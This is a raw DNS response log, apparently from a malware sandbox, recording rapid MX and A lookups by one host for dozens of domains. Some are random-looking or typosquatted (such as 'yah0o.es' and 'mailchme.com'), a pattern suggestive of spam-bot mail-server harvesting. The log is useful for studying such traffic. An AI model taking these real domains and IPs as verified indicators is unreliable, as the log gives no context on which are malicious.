Dec 2, 2023 18:04:31.128741980 CET	1.1.1.1	192.168.2.7	0x9b0c	Name error (3)	hldxxjgzeopbcgaagmail.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.129287958 CET	1.1.1.1	192.168.2.7	0x16f6	Name error (3)	omdhggzx.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.129782915 CET	1.1.1.1	192.168.2.7	0xa976	Name error (3)	reqifgccowel.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.129800081 CET	1.1.1.1	192.168.2.7	0x5ddb	No error (0)	ezdesign.net			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.130127907 CET	1.1.1.1	192.168.2.7	0x748d	No error (0)	zadaca.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.132637024 CET	1.1.1.1	192.168.2.7	0x1c6d	Name error (3)	kfysyscc.org	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.132729053 CET	1.1.1.1	192.168.2.7	0x5c7f	No error (0)	yel168.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.132729053 CET	1.1.1.1	192.168.2.7	0x5c7f	No error (0)	yel168.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.133481979 CET	1.1.1.1	192.168.2.7	0x446a	Name error (3)	egddtd.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.133902073 CET	1.1.1.1	192.168.2.7	0x7fdf	Name error (3)	dieihuyz.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.156264067 CET	1.1.1.1	192.168.2.7	0x17c5	No error (0)	weiberg.de			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.156264067 CET	1.1.1.1	192.168.2.7	0x17c5	No error (0)	weiberg.de			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.164784908 CET	1.1.1.1	192.168.2.7	0x554a	No error (0)	yelvertonbrook.com.au			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.164784908 CET	1.1.1.1	192.168.2.7	0x554a	No error (0)	yelvertonbrook.com.au			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.164784908 CET	1.1.1.1	192.168.2.7	0x554a	No error (0)	yelvertonbrook.com.au			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.190413952 CET	1.1.1.1	192.168.2.7	0x636b	Name error (3)	ldrshipcoach.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.206819057 CET	1.1.1.1	192.168.2.7	0xd93e	No error (0)	ersvp.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.206819057 CET	1.1.1.1	192.168.2.7	0xd93e	No error (0)	ersvp.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.206819057 CET	1.1.1.1	192.168.2.7	0xd93e	No error (0)	ersvp.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.206819057 CET	1.1.1.1	192.168.2.7	0xd93e	No error (0)	ersvp.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.206819057 CET	1.1.1.1	192.168.2.7	0xd93e	No error (0)	ersvp.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.215150118 CET	1.1.1.1	192.168.2.7	0x760f	No error (0)	delightfulhouses.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.220700979 CET	1.1.1.1	192.168.2.7	0x50c8	Name error (3)	jqpgnp.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.225593090 CET	1.1.1.1	192.168.2.7	0x7e67	Name error (3)	luminous-path.de	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.237431049 CET	1.1.1.1	192.168.2.7	0x9669	Name error (3)	mailchme.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:31.244400024 CET	1.1.1.1	192.168.2.7	0x532e	Name error (3)	jqpgnp.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:31.246606112 CET	1.1.1.1	192.168.2.7	0x41d8	Name error (3)	lsacwbij.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:31.255918980 CET	1.1.1.1	192.168.2.7	0x88ad	Name error (3)	enchanteddesignsanmore.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.256179094 CET	1.1.1.1	192.168.2.7	0x42d3	Name error (3)	msnal.net	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.258383036 CET	1.1.1.1	192.168.2.7	0xe30f	Name error (3)	parisienne-moonlight.net	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.270051956 CET	1.1.1.1	192.168.2.7	0xed42	Name error (3)	tkzttitrygbx.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.281287909 CET	1.1.1.1	192.168.2.7	0xb2d1	No error (0)	airanatoliava.org		208.91.197.132	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:31.282071114 CET	1.1.1.1	192.168.2.7	0xc3da	No error (0)	ancoracenter.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.297302961 CET	1.1.1.1	192.168.2.7	0x9c47	No error (0)	furnscales.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.300753117 CET	1.1.1.1	192.168.2.7	0x351b	No error (0)	lrrcenter.org			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.323290110 CET	1.1.1.1	192.168.2.7	0x1424	No error (0)	yeehop.com.hk			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.323290110 CET	1.1.1.1	192.168.2.7	0x1424	No error (0)	yeehop.com.hk			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.326988935 CET	1.1.1.1	192.168.2.7	0xaa04	No error (0)	gatewaytogames.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.326988935 CET	1.1.1.1	192.168.2.7	0xaa04	No error (0)	gatewaytogames.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.338407040 CET	1.1.1.1	192.168.2.7	0x197c	No error (0)	ape4jewelry.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.353004932 CET	1.1.1.1	192.168.2.7	0x3137	No error (0)	b-rose.de			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.405364990 CET	1.1.1.1	192.168.2.7	0x9db9	Name error (3)	yah0o.es	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.408699989 CET	1.1.1.1	192.168.2.7	0xc361	No error (0)	vanweissenbruch.nl			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.429346085 CET	1.1.1.1	192.168.2.7	0x73dc	No error (0)	airanatoliava.org			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.526973963 CET	1.1.1.1	192.168.2.7	0x8afb	No error (0)	arsonsisi.com.tr			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.536164999 CET	1.1.1.1	192.168.2.7	0x9c7c	No error (0)	donankohatsu.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.536164999 CET	1.1.1.1	192.168.2.7	0x9c7c	No error (0)	donankohatsu.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.536847115 CET	1.1.1.1	192.168.2.7	0xd35c	No error (0)	strokin.info			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.536847115 CET	1.1.1.1	192.168.2.7	0xd35c	No error (0)	strokin.info			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.536847115 CET	1.1.1.1	192.168.2.7	0xd35c	No error (0)	strokin.info			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.536847115 CET	1.1.1.1	192.168.2.7	0xd35c	No error (0)	strokin.info			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.536847115 CET	1.1.1.1	192.168.2.7	0xd35c	No error (0)	strokin.info			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.551224947 CET	1.1.1.1	192.168.2.7	0xa226	No error (0)	volodin.org			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.551224947 CET	1.1.1.1	192.168.2.7	0xa226	No error (0)	volodin.org			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.551224947 CET	1.1.1.1	192.168.2.7	0xa226	No error (0)	volodin.org			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.551224947 CET	1.1.1.1	192.168.2.7	0xa226	No error (0)	volodin.org			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.551224947 CET	1.1.1.1	192.168.2.7	0xa226	No error (0)	volodin.org			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.551224947 CET	1.1.1.1	192.168.2.7	0xa226	No error (0)	volodin.org			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.551224947 CET	1.1.1.1	192.168.2.7	0xa226	No error (0)	volodin.org			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.605190039 CET	1.1.1.1	192.168.2.7	0xc349	No error (0)	escortracing.org			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.606326103 CET	1.1.1.1	192.168.2.7	0x8d91	No error (0)	giannicastellani.it			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.676529884 CET	1.1.1.1	192.168.2.7	0x9cbf	No error (0)	maksimp.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.689213037 CET	1.1.1.1	192.168.2.7	0x6377	No error (0)	gztit.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.689213037 CET	1.1.1.1	192.168.2.7	0x6377	No error (0)	gztit.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.777278900 CET	1.1.1.1	192.168.2.7	0xc220	No error (0)	yekai.com		81.68.211.71	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:31.815618992 CET	1.1.1.1	192.168.2.7	0x1370	No error (0)	wisnuwardhana.ac.id			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.815618992 CET	1.1.1.1	192.168.2.7	0x1370	No error (0)	wisnuwardhana.ac.id			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.815618992 CET	1.1.1.1	192.168.2.7	0x1370	No error (0)	wisnuwardhana.ac.id			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.815618992 CET	1.1.1.1	192.168.2.7	0x1370	No error (0)	wisnuwardhana.ac.id			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.815618992 CET	1.1.1.1	192.168.2.7	0x1370	No error (0)	wisnuwardhana.ac.id			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.816330910 CET	1.1.1.1	192.168.2.7	0x41f7	No error (0)	giannicastellani.it		46.254.37.204	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:31.862545013 CET	1.1.1.1	192.168.2.7	0x2a9f	No error (0)	gotcf.net			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.862545013 CET	1.1.1.1	192.168.2.7	0x2a9f	No error (0)	gotcf.net			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.911763906 CET	1.1.1.1	192.168.2.7	0x8a6a	No error (0)	limit8design.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.911763906 CET	1.1.1.1	192.168.2.7	0x8a6a	No error (0)	limit8design.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.911763906 CET	1.1.1.1	192.168.2.7	0x8a6a	No error (0)	limit8design.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.915143013 CET	1.1.1.1	192.168.2.7	0xea1c	No error (0)	untitled.ws			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.917187929 CET	1.1.1.1	192.168.2.7	0x5e8b	No error (0)	gztit.com		218.20.227.130	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:31.927212954 CET	1.1.1.1	192.168.2.7	0x6f5c	No error (0)	stylishsoiree.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.927212954 CET	1.1.1.1	192.168.2.7	0x6f5c	No error (0)	stylishsoiree.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.927212954 CET	1.1.1.1	192.168.2.7	0x6f5c	No error (0)	stylishsoiree.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.927212954 CET	1.1.1.1	192.168.2.7	0x6f5c	No error (0)	stylishsoiree.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.927212954 CET	1.1.1.1	192.168.2.7	0x6f5c	No error (0)	stylishsoiree.com			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.998647928 CET	1.1.1.1	192.168.2.7	0x8153	No error (0)	wgglaw.net			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:31.998647928 CET	1.1.1.1	192.168.2.7	0x8153	No error (0)	wgglaw.net			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:32.272022963 CET	1.1.1.1	192.168.2.7	0xa87a	Name error (3)	yah0o.es	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.272624016 CET	1.1.1.1	192.168.2.7	0x82e3	Name error (3)	xfuainui.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.274310112 CET	1.1.1.1	192.168.2.7	0x4f1	No error (0)	luminus-media.com		3.33.130.190	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.274310112 CET	1.1.1.1	192.168.2.7	0x4f1	No error (0)	luminus-media.com		15.197.148.33	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.277781963 CET	1.1.1.1	192.168.2.7	0xfc5b	Name error (3)	luminous-path.de	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.279125929 CET	1.1.1.1	192.168.2.7	0x8e0e	Name error (3)	tkzttitrygbx.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.362529993 CET	1.1.1.1	192.168.2.7	0x67b4	No error (0)	vanweissenbruch.nl		185.85.211.151	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.394424915 CET	1.1.1.1	192.168.2.7	0xd8a4	Name error (3)	dieihuyz.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.413455963 CET	1.1.1.1	192.168.2.7	0x5a6a	Name error (3)	axtkmooehtnfekmooefv.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.435373068 CET	1.1.1.1	192.168.2.7	0x4a77	Name error (3)	knpzwm.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.446818113 CET	1.1.1.1	192.168.2.7	0x34a0	Name error (3)	kfysyscc.org	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.479777098 CET	1.1.1.1	192.168.2.7	0x1542	No error (0)	weiberg.de		217.160.0.91	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.513315916 CET	1.1.1.1	192.168.2.7	0x872	Name error (3)	egddtd.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.520034075 CET	1.1.1.1	192.168.2.7	0x74a4	Name error (3)	parisienne-moonlight.net	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.520054102 CET	1.1.1.1	192.168.2.7	0xab96	No error (0)	yel168.com		162.255.119.240	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.523646116 CET	1.1.1.1	192.168.2.7	0xde2f	Name error (3)	hldxxjgzeopbcgaagmail.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.523664951 CET	1.1.1.1	192.168.2.7	0x238a	No error (0)	untitled.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.524771929 CET	1.1.1.1	192.168.2.7	0xfc06	Name error (3)	omdhggzx.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.524790049 CET	1.1.1.1	192.168.2.7	0x70bc	Name error (3)	ldrshipcoach.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.525039911 CET	1.1.1.1	192.168.2.7	0x9196	Name error (3)	msnal.net	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.526226044 CET	1.1.1.1	192.168.2.7	0xe27b	No error (0)	gatewaytogames.com		94.136.40.82	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.526307106 CET	1.1.1.1	192.168.2.7	0x664b	No error (0)	verer.com		13.248.169.48	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.526307106 CET	1.1.1.1	192.168.2.7	0x664b	No error (0)	verer.com		76.223.54.146	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.528281927 CET	1.1.1.1	192.168.2.7	0x88a3	Name error (3)	reqifgccowel.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.528301001 CET	1.1.1.1	192.168.2.7	0xa210	No error (0)	ezdesign.net		13.248.169.48	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.528301001 CET	1.1.1.1	192.168.2.7	0xa210	No error (0)	ezdesign.net		76.223.54.146	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.530889988 CET	1.1.1.1	192.168.2.7	0xf9a9	No error (0)	zadaca.com		213.155.112.212	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.531158924 CET	1.1.1.1	192.168.2.7	0xba92	No error (0)	zlig.com		148.72.77.90	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.558774948 CET	1.1.1.1	192.168.2.7	0xcc6d	No error (0)	trb61.com		157.52.245.122	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.561860085 CET	1.1.1.1	192.168.2.7	0x957b	No error (0)	ersvp.com		35.174.248.99	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.589859962 CET	1.1.1.1	192.168.2.7	0x8a8a	No error (0)	yelvertonbrook.com.au		35.213.197.5	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.592432022 CET	1.1.1.1	192.168.2.7	0xaa19	No error (0)	ape4jewelry.com		172.67.198.164	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.592432022 CET	1.1.1.1	192.168.2.7	0xaa19	No error (0)	ape4jewelry.com		104.21.92.208	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.592448950 CET	1.1.1.1	192.168.2.7	0xed90	No error (0)	ancoracenter.com		99.86.229.32	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.592448950 CET	1.1.1.1	192.168.2.7	0xed90	No error (0)	ancoracenter.com		99.86.229.126	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.592448950 CET	1.1.1.1	192.168.2.7	0xed90	No error (0)	ancoracenter.com		99.86.229.115	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.592448950 CET	1.1.1.1	192.168.2.7	0xed90	No error (0)	ancoracenter.com		99.86.229.110	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.593425989 CET	1.1.1.1	192.168.2.7	0x75c3	No error (0)	wgglaw.net		208.63.41.11	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.597312927 CET	1.1.1.1	192.168.2.7	0x794a	No error (0)	delightfulhouses.com		3.33.130.190	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.597312927 CET	1.1.1.1	192.168.2.7	0x794a	No error (0)	delightfulhouses.com		15.197.148.33	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.650244951 CET	1.1.1.1	192.168.2.7	0x133c	No error (0)	stylishsoiree.com		216.40.47.17	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.652787924 CET	1.1.1.1	192.168.2.7	0x62	No error (0)	furnscales.com		208.91.197.132	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.665505886 CET	1.1.1.1	192.168.2.7	0xb914	Name error (3)	enchanteddesignsanmore.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.674859047 CET	1.1.1.1	192.168.2.7	0xf0c4	No error (0)	b-rose.de		81.169.145.92	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.677294016 CET	1.1.1.1	192.168.2.7	0x3f1d	No error (0)	limit8design.com		34.149.120.3	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.682796955 CET	1.1.1.1	192.168.2.7	0xd151	No error (0)	donankohatsu.com		125.206.177.59	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.686920881 CET	1.1.1.1	192.168.2.7	0x30f0	No error (0)	escortracing.org		172.67.182.118	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.686920881 CET	1.1.1.1	192.168.2.7	0x30f0	No error (0)	escortracing.org		104.21.67.226	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.689868927 CET	1.1.1.1	192.168.2.7	0x1c4a	No error (0)	maksimp.com		143.95.247.178	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.700172901 CET	1.1.1.1	192.168.2.7	0x1077	No error (0)	lrrcenter.org		66.33.221.189	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.726532936 CET	1.1.1.1	192.168.2.7	0xfd68	No error (0)	yes163.com		154.12.34.252	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.730309963 CET	1.1.1.1	192.168.2.7	0x5a0e	No error (0)	arsonsisi.com.tr		172.67.212.10	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.730309963 CET	1.1.1.1	192.168.2.7	0x5a0e	No error (0)	arsonsisi.com.tr		104.21.16.117	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.790008068 CET	1.1.1.1	192.168.2.7	0xbb46	No error (0)	yabeetowel.com		192.186.15.215	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.888345957 CET	1.1.1.1	192.168.2.7	0xd0	No error (0)	takin-co.ir		172.67.204.136	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.888345957 CET	1.1.1.1	192.168.2.7	0xd0	No error (0)	takin-co.ir		104.21.14.224	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.902714014 CET	1.1.1.1	192.168.2.7	0xe3cd	No error (0)	databul.com.tr		85.159.66.93	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:32.952276945 CET	1.1.1.1	192.168.2.7	0xffec	No error (0)	winit.co.il		80.179.145.239	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:33.068095922 CET	1.1.1.1	192.168.2.7	0xfcb9	No error (0)	wisnuwardhana.ac.id		103.163.138.98	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:33.204766035 CET	1.1.1.1	192.168.2.7	0x32b	No error (0)	crbj.org.il			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:33.204793930 CET	1.1.1.1	192.168.2.7	0x32b	No error (0)	crbj.org.il			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:33.377388954 CET	1.1.1.1	192.168.2.7	0x32b	No error (0)	crbj.org.il			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:33.643598080 CET	1.1.1.1	192.168.2.7	0xf8c4	No error (0)	326188.com	overdue.aliyun.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2023 18:04:33.643598080 CET	1.1.1.1	192.168.2.7	0xf8c4	No error (0)	overdue.aliyun.com		170.33.13.246	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:33.643652916 CET	1.1.1.1	192.168.2.7	0xf8c4	No error (0)	326188.com	overdue.aliyun.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2023 18:04:33.643652916 CET	1.1.1.1	192.168.2.7	0xf8c4	No error (0)	overdue.aliyun.com		170.33.13.246	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:33.783179045 CET	1.1.1.1	192.168.2.7	0xf956	No error (0)	winit.co.il			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:33.783179045 CET	1.1.1.1	192.168.2.7	0xf956	No error (0)	winit.co.il			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:33.783179045 CET	1.1.1.1	192.168.2.7	0xf956	No error (0)	winit.co.il			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:33.783179045 CET	1.1.1.1	192.168.2.7	0xf956	No error (0)	winit.co.il			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:33.783179045 CET	1.1.1.1	192.168.2.7	0xf956	No error (0)	winit.co.il			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:33.783185959 CET	1.1.1.1	192.168.2.7	0xf956	No error (0)	winit.co.il			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:33.783185959 CET	1.1.1.1	192.168.2.7	0xf956	No error (0)	winit.co.il			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:33.783185959 CET	1.1.1.1	192.168.2.7	0xf956	No error (0)	winit.co.il			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:33.783185959 CET	1.1.1.1	192.168.2.7	0xf956	No error (0)	winit.co.il			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:33.783185959 CET	1.1.1.1	192.168.2.7	0xf956	No error (0)	winit.co.il			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:33.783191919 CET	1.1.1.1	192.168.2.7	0xf956	No error (0)	winit.co.il			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:33.783191919 CET	1.1.1.1	192.168.2.7	0xf956	No error (0)	winit.co.il			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:33.783191919 CET	1.1.1.1	192.168.2.7	0xf956	No error (0)	winit.co.il			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:33.783191919 CET	1.1.1.1	192.168.2.7	0xf956	No error (0)	winit.co.il			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:33.783191919 CET	1.1.1.1	192.168.2.7	0xf956	No error (0)	winit.co.il			MX (Mail exchange)	IN (0x0001)	false
Dec 2, 2023 18:04:33.798376083 CET	1.1.1.1	192.168.2.7	0xba9d	No error (0)	strokin.info		216.239.34.21	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:33.798376083 CET	1.1.1.1	192.168.2.7	0xba9d	No error (0)	strokin.info		216.239.32.21	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:33.798376083 CET	1.1.1.1	192.168.2.7	0xba9d	No error (0)	strokin.info		216.239.36.21	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:33.798376083 CET	1.1.1.1	192.168.2.7	0xba9d	No error (0)	strokin.info		216.239.38.21	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:34.608045101 CET	1.1.1.1	192.168.2.7	0xfbfe	No error (0)	crbj.org.il		194.90.1.6	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:34.608057976 CET	1.1.1.1	192.168.2.7	0xfbfe	No error (0)	crbj.org.il		194.90.1.6	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:34.608067989 CET	1.1.1.1	192.168.2.7	0xfbfe	No error (0)	crbj.org.il		194.90.1.6	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:36.905453920 CET	1.1.1.1	192.168.2.7	0xec5	Name error (3)	mailchme.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.670785904 CET	1.1.1.1	192.168.2.7	0xda93	Name error (3)	tkzttitrygbx.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.670799971 CET	1.1.1.1	192.168.2.7	0x2721	Name error (3)	ldrshipcoach.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.673126936 CET	1.1.1.1	192.168.2.7	0x2866	Name error (3)	reqifgccowel.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.673139095 CET	1.1.1.1	192.168.2.7	0x475f	Name error (3)	dieihuyz.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.674494028 CET	1.1.1.1	192.168.2.7	0xc56a	Name error (3)	egddtd.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.714369059 CET	1.1.1.1	192.168.2.7	0x7b1b	No error (0)	ASPMX.L.GOOGLE.com		142.251.111.26	A (IP address)	IN (0x0001)	false
